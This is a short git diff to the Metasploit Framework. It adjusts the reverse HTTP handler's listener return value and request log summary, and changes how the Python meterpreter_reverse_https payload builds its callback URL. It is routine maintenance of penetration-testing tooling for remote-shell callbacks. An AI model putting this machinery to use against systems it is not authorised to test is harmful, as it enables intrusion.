diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 3d8a648aea..7de6fd4164 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -140,7 +140,7 @@ module ReverseHttp end end - l + l.dup end # Create an HTTP listener @@ -272,7 +272,7 @@ protected conn_id = conn_id[0...-1] if conn_id[-1] == '/' end - request_summary = "#{conn_id} with UA '#{req.headers['User-Agent']}'" + request_summary = "#{luri}#{req.relative_resource} with UA '#{req.headers['User-Agent']}'" # Validate known UUIDs for all requests if IgnoreUnknownPayloads is set if datastore['IgnoreUnknownPayloads'] && ! framework.uuid_db[uuid.puid_hex] diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb index 6bc872453b..f14f534546 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -36,7 +36,7 @@ module MetasploitModule opts[:scheme] = 'https' opts[:uri_uuid_mode] = :init_connect met = stage_meterpreter({ - http_url: luri + generate_callback_url(opts), + http_url: generate_callback_url(opts), http_user_agent: opts[:user_agent], http_proxy_host: opts[:proxy_host], http_proxy_port: opts[:proxy_port]